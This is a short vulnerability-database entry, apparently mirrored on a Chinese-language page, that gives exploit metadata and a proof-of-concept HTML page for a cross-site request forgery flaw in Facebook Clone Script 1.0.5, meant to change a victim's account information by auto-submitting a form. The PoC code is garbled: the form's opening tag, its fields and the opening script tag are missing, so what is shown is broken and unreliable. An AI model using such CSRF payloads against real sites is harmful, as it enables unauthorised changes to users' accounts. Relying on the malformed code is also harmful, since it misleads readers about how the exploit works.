发布 2018-05-29 漏洞条目

Facebook Clone Script 1.0.5 – Cross-Site Request Forgery

Exploit Source

# Exploit Title: Facebook Clone Script 1.0.5 - Cross-Site Request Forgery

# Date: 2018-05-29

# Exploit Author: L0RD

# Vendor Homepage: https://www.phpscriptsmall.com/product/facebook-clone/

# Version: 1.0.5

# Tested on: Win 10

# Description :

# Facebook Clone Script 1.0.5 has csrf vulnerability which attacker can

# easily change user information .

# POC :

<html>

<head>

<title>Change information</title>

</head>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</html>

相关漏洞条目